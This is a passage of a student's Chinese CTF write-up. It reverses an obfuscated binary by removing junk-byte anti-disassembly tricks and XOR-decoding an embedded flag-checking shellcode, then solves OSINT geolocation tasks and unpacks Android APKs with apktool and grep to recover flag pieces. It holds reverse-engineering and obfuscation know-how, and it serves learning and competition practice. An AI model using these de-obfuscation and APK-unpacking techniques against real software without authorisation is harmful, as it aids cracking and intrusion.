其中call $+5 是混淆器常用的 “取当前地址” 技巧,作用是把程序真实执行流拐到 0x4011FD。IDA 无法识别这个,于是停在 retn 那行,标了个红色的 sp-analysis failed,真正的主逻辑在 0x4011FD 往后。

继续在函数列表双击 anti_debug查看image-20260905193125910

从中得知anti_debug(0x401186)是个 “空壳 / 幌子”。

1
2
3
4
5
xor rax, rax   →  ZF=1
jz loc_401197 ← 必然跳转
jnz loc_401197 ← 死代码
call ... ← 永远不会执行到的死代码
loc_401197: pop rax; mov ecx,0

因此没有必要关注他。依据提取信息,在main中按g跳转至0x4011FD,然后按c运行ida 会顺着往下把真正的 main 主体全部反汇编出来image-20260905193418430

根据图中内容得知db 字节如果从正确位置 0x4011FD 开始解码,就会变成

地址 字节 真实指令
0x4011FD B8 00 00 00 00 mov eax, 0
0x401202 E8 … call(跳回 0x401186 调用 anti_debug)
0x401207 83 7D AC 02 cmp [rbp-54h], 2(检查 argc 参数个数)
0x40120B 74 28 jz …
0x40120D 48 8B 45 A0 mov rax, [rbp-60h]

所以说问题只是起点错了:main 末尾的 retn 让 ida 停了,让它从 0x4011F7(E8)这个错位字节开始反汇编了。

(main 的最后 3 行是这样的

1
2
3
4011EC  call $+5            ; 调用"下一条指令自己"
4011F1 add [rsp], 0Ch ; 栈顶加 12
4011F6 retn ; 返回

执行 call 时做了两件事:把返回地址压栈(返回地址 = call 下一条指令的地址 = 0x4011F1),然后跳过去执行。所以执行到 0x4011F1 时,栈顶放着 0x4011F1。
接着 add [rsp], 0Ch 把这栈顶值加上 12:0x4011F1 + 0x0C = 0x4011FD。栈顶变成了 0x4011FD。
最后的 retn 会弹出栈顶当返回地址跳过去 → CPU 真正去执行的是 0x4011FD,所以main 根本没 结束,它只是偷偷把执行流拐到了 0x4011FD)

继续按g跳转到0x4011F7,从 0x4011F8 开始按u取消反汇编,还原为原始字节再按 g 跳到 0x4011FD按c运行image-20260905194501571

image-20260905194511578

这次反汇编完全顺出来了,真实逻辑为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main(int argc, char **argv) {
anti_debug(); // 幌子,直接忽略
if (argc != 2) {
printf("Usage: %s <flag>\n", argv[0]); // ← 你看到的那行字符串
exit(1);
}
char *flag = argv[1]; // flag 是命令行参数!不是 stdin
int len = strlen(flag);
if (len != 0x28) { // 0x28 = 40
puts("Wrong length!"); // ← 你看到的第二个字符串
exit(1);
}
// >>>>>>> 走到这里才是真正的 flag 校验,代码从 0x40128E 继续 <<<<<<
}

拿到了三条信息:1.运行方式是 ./chal 你的flag(flag 作为命令行参数传入);2.flag 必须正好 40 个字符;3.真正的校验逻辑在下一段代码里。

到这里我们先做个对前面许多花指令的总结,规则只有三种

特征 含义 怎么办
call $+5→add [rsp], X→retn 花指令,作用是跳走 真正下一句 = call 下一行地址 + X
jmp byte_XXXX+1 绝对跳转到 XXXX+1,跳过 1 个垃圾字节 代码在 XXXX+1 继续,去那按 C
push r; xor r,r; jz L; jnz L; call … 死代码块(两个跳转必走 L),永不执行 直接无视

接下来,我们G → 0x40128E → C运行image-20260905195102382

这里的意思为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 申请 52 字节可读可写可执行内存(RWX)
// mmap(addr=0, len=0x34=52, prot=7(RWX), flags=0x22(匿名+私有), fd=-1, off=0)
buf = mmap(0, 52, 7, 0x22, -1, 0);
if (buf == -1) exit(1);

// 把 .data 里一段 52 字节的"加密代码"拷进 buf
// 来源:encrypted_sc(0x404060)开始,连续 52 字节
*(qword*)(buf+0x00) = encrypted_sc; // 8 字节
*(qword*)(buf+0x08) = qword_404068; // 8 字节
*(qword*)(buf+0x10) = qword_404070; // 8 字节
*(qword*)(buf+0x18) = qword_404078; // 8 字节
*(qword*)(buf+0x20) = qword_404080; // 8 字节
*(qword*)(buf+0x28) = qword_404088; // 8 字节
*(dword*)(buf+0x30) = dword_404090; // 4 字节
// 合计正好 52 字节

然后 clc; jnb loc_401319+1(clc 把进位标志清 0,jnb 必然跳转)→ 跳到 0x40131A(跳过 0x401319 那个垃圾字节),这里说明程序把一段 52 字节的加密壳代码搬到 RWX 内存里,下一步肯定要解密它再执行—— 真正的 flag 校验逻辑就藏在这 52 字节里,mmap 导入的原因就是因为这个。(阿巴阿巴…….)

根据这个信息G → 0x40131A → C运行image-20260905195442844

这段正好卡在解密循环的入口,而0x401319 又是一个垃圾字节陷阱

1
2
3
4
0x401316  clc
0x401317 jnb loc_401319+1 ; ← 真正要跳去 0x40131A(+1 就是跳过垃圾字节)
0x401319 EB 48 ; ← IDA 把它当成 "jmp unk_401363",这是假象
0x40131B 8B 45 D0 ... ; ← 现在全是未反汇编的 db 字节

(jnb 跳到的不是 0x401319,而是 0x40131A(+1)。而 0x40131A 恰好在 EB 48 这条指令的中间—— 所以 EB 48 是永远不会被整体执行的诱饵指令,真正的代码从 0x40131A 的字节 48 开始。)

将0x401319 jmp short unk_401363按u取消掉,然后再G → 0x40131A →C运行(好绕啊awa)image-20260905195824206

image-20260905195831152

获得解密循环

1
2
3
4
5
6
7
// 循环 i = 0 → 51(共 52 字节)
for (i = 0; i <= 0x33 /* 51 */; i++) {
buf[i] ^= 0x66; // ← 关键!单字节 XOR,key = 0x66
}
// 解密完:
buf2 = buf; // [rbp-40h] 存下来备用
call $+5 / add [rsp],0Ch / retn // → 跳到 0x401366+0xC = 0x401372

因此那 52 字节密文全部 ^ 0x66 就是真正的 shellcode(终于要结束了吗…..)解密循环后面那段 call $+5 → add [rsp],0Ch → retn 又会跳到 0x401372……….按G → 0x401372 → C运行image-20260905200054294

从图中(指的是解密循环那张)得知密文

1
2e57a62e57af2e5f971b7b22ec626927e696552766ae27a6a66422ec6a6c235eae136b2e99a78db82ea1a667666666a52e57a6a5

解密后为

1
4831c04831c94839f17d1d448a040f4180f0334100c841c0c002448a0c0a4538c8750d48ffc1ebde48c7c001000000c34831c0c3

对其完整的进行解读(qaq要力竭了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
48 31 C0            xor rax, rax
48 31 C9 xor rcx, rcx ; i = 0
48 39 F1 cmp rcx, rsi ; i 与长度比(rsi=长度)
7D 1D jge 成功 ; i >= 长度 → 全对,返回1
44 8A 04 0F mov r8b, [rdi+rcx] ; r8b = flag[i] (rdi=flag)
41 80 F0 33 xor r8b, 0x33 ; r8b ^= 0x33
41 00 C8 add r8b, cl ; r8b += i
41 C0 C0 02 rol r8b, 2 ; r8b 循环左移 2 位
44 8A 0C 0A mov r9b, [rdx+rcx] ; r9b = 期望值[i] (rdx=期望串)
45 38 C8 cmp r8b, r9b ; 比对
75 0D jne 失败 ; 不等 → 返回0
48 FF C1 inc rcx
EB DE jmp 循环头
成功: mov rax, 1; ret 失败: xor rax, rax; ret

校验公式

1
2
3
for i in 0..长度-1:
if rol( (flag[i] ^ 0x33) + i , 2 ) != expected[i]: return 0
return 1

然后按G → 0x401372→ C运行,去看看 call 之前 rdi、rsi、rdx 分别被设置成了什么。image-20260905200603270

得到信息,0x401372 是 shellcode的地方,然后调用约定

1
2
3
4
5
6
7
8
9
10
11
12
13
ecx = strlen(flag);               // 0x28 = 40
rax = flag; // argv[1]
r8 = buf; // 解密好的 52 字节 shellcode
rdx = &expected; // ← 期望串地址(0x40137D 后面那个)
rsi = 40; // 长度
rdi = flag; // flag 指针
call r8; // 执行 shellcode!
result = eax;
if (result == 1)
puts("Correct! You got the flag.");
else
puts("Wrong flag!");
munmap(buf, 0x34); // 清理

最后一步,逆推flag

1
flag[i] = ( ror(expected[i], 2) − i ) ^ 0x33

编写脚本并运行

1
2
3
4
exp = bytes.fromhex("a5ad95cd31e52464d16d9d89e1b93881594cc5a902f1c55c12f57471edd12a1a8cd588a9fd949dd5")
def ror8(x, n): return ((x >> n) | (x << (8 - n))) & 0xFF
flag = bytes(((ror8(exp[i], 2) - i) & 0xFF) ^ 0x33 for i in range(40))
print(flag.decode())

得到flag

OSINT 方向

1. 康可的断片回忆录

考点:图片地理定位

打开文件为一张图片,对其进行放大分析后确定其地方为叁宝烤肉,依据西邮地址,推断为距离西邮最近的一家,获得街道名称输入flag,成功

2. 准备出发

考点:航班轨迹推断

打开文件,根据logo判断为春秋航空,同时这个照片于8.28早上6:07拍摄,已知出题人和西安推不了关系,且图片像是刚起飞时拍摄的,根据对出题人的猜测首先怀疑是从西安出发的,按照这个思路依次核对航班表,发现一趟航班次为9C8946 次的航班是早上6点从西安出发前往上海虹桥,这个的嫌疑很大,同时西安到上海需要向东走,检索周边城市,同时在网上寻找与这张照片的农田村庄,公路的高匹配地区,大概率在地处西安东北方向的渭南临渭、蒲城、富平一带,符合航线,输入flag成功。

Mobile 方向

1. 高祖的考验

工具:VM 虚拟机

将文件下载后解包

1
apktool d "高祖的考验.apk" -o hanzu

解包成功后,输入

1
2
ls hanzu/smali_classes3/com/example/myapplication/
cat hanzu/smali_classes3/com/example/myapplication/MainActivity.smali

查看代码,得到关键信息image-20260905203202497

34节密文

1
2
39 1e 69 34 18 37 03 05 30 38 2f 39 13 2e 36 16
14 29 34 4d 0c 37 50 07 02 37 0d 05 30 38 21 16 02 3a

输入

1
cat 'hanzu/smali_classes3/com/example/myapplication/MainActivity$1.smali'

查看校验算法,得知逻辑为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 1. 取输入
String userInput = inputEditText.getText().toString();
byte[] inputBytes = userInput.getBytes(); // v1

// 2. 取密钥(keyString 来源还没截到,见下)
String keyString = ???; // v2
byte[] keyBytes = keyString.getBytes(); // v3

// 3. 长度校验:输入必须和 CIPHER_TEXT 一样长(34)
if (inputBytes.length != CIPHER_TEXT.length) { 报错"长度不对" }

// 4. 逐字节异或比较(关键循环)
boolean ok = true;
for (int i = 0; i < inputBytes.length; i++) {
byte enc = (byte)(inputBytes[i] ^ keyBytes[i % keyBytes.length]); // 关键 XOR
if (enc != CIPHER_TEXT[i]) { ok = false; } // 密文不匹配则失败
}
// 相等 → Toast "验证成功!不愧是俍!" + 图片换 popipa
// 不等 → setError "密文不匹配哦~" + 图片换 no

所以算法为输入[i] ^ key[i % key.length] == CIPHER_TEXT[i]

得到还原公式

1
flag[i] = CIPHER_TEXT[i] ^ keyBytes[i % keyBytes.length]

现在只差最后一样东西keyString 。输入

1
grep -n -B5 "keyString" 'hanzu/smali_classes3/com/example/myapplication/MainActivity$1.smali'

得到一串信息密钥不是硬编码字符串,而是对某段字节做 Base64 编码得到的

1
2
102:  invoke-static {v2, v3}, Landroid/util/Base64;->encodeToString([B)Ljava/lang/String;
104: move-result-object v2 ← keyString = Base64.encodeToString(v2, v3)

即流程为某字节数组 → Base64 编码 → 得到 keyString → getBytes → keyBytes

输入

1
grep -n -B30 "keyString" 'hanzu/smali_classes3/com/example/myapplication/MainActivity$1.smali'

看 v2(被编码的字节数组)和 v3(Base64 标志位)是怎么来的

image-20260905203731295

得到密钥,还原成功得到flag

2. 克苏鲁的救世密码

工具:VM 虚拟机

拿到文件对其解包

1
apktool d apkChallenge\(1\).apk -o out

然后输入在 apktool 解包出来的所有 smali 代码里,全局搜一遍和 flag 相关的关键词,快速定位可疑位置。

1
grep -rniE "zypc|flag|key|secret" out/ --include="*.smali" | head -50

image-20260905204253705

得知包名 com.example.hidden —— “hidden”(隐藏)直接提示 flag 被藏起来了,说明部分flag在这里

依据这个,输入

1
grep -rniE "zypc|flag" out/res/values/

对资源文件做关键字检索得到第一部分

1
2
3
<!-- out/res/values/strings.xml -->
<string name="flag_1">ZYP{fe0af15f</string>
<string name="flag_where">It seems that you have found a part of it.</string>

因为提示说了flag藏在资源,代码和图片里,资源已经找到,现在找代码里的flag,输入

1
grep -n "const-string" out/smali_classes3/com/example/hidden/MainActivity.smali

查看入口类 MainActivity.smali 的字符串常量

获得第二部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# instance fields

.field private flag_2:Ljava/lang/String;

# direct methods

.method public constructor <init>()V
.locals 1

.line 16
invoke-direct {p0}, Landroidx/activity/ComponentActivity;-><init>()V

.line 31
const-string v0, "-7eab-4b1c-b65b"
iput-object v0, p0, Lcom/example/hidden/MainActivity;->flag_2:Ljava/lang/String;

.line 16
return-void
.end method

紧接着来到图片,寻找第三部分,输入

1
find out/res/ -iname "*flag*"

定位图片,获得信息

1
out/res/drawable/flag_3.jpg

输入

1
file flag_3.jpg    #直接打开看(eog flag_3.jpg)有没有可见文字

image-20260905205433201

获得第三部分,组合后获得flag

后记

锵锵!这里是新生赛结束后,赶工补完wp的许卿,终于完成了阿巴阿巴……这个新生赛可以说是我和网安的第一次见面,但绝对不会是最后一次!毕竟许卿大人要征战四方呐这次比赛收获很多,学习到的东西有很多,也很喜欢解题的感觉与学习的知识,说明许卿的选择是正确的,好耶!最后在这里留下说明,此次wp不仅作为提交还会成为我学习网安的重要文件,让我反复观看,学习。好啦,就到这里啦,许卿还要去准备一面和写web大纲呢,博客也没有搭建(怎么还有这么多事)。所以,加油吧!属于许卿的网安之旅才刚刚开始呐!就像this和T酱那样,拯救世界!!!芜湖! 最后!猫娘康克天下第一好!tooki天下第一坏!(哼)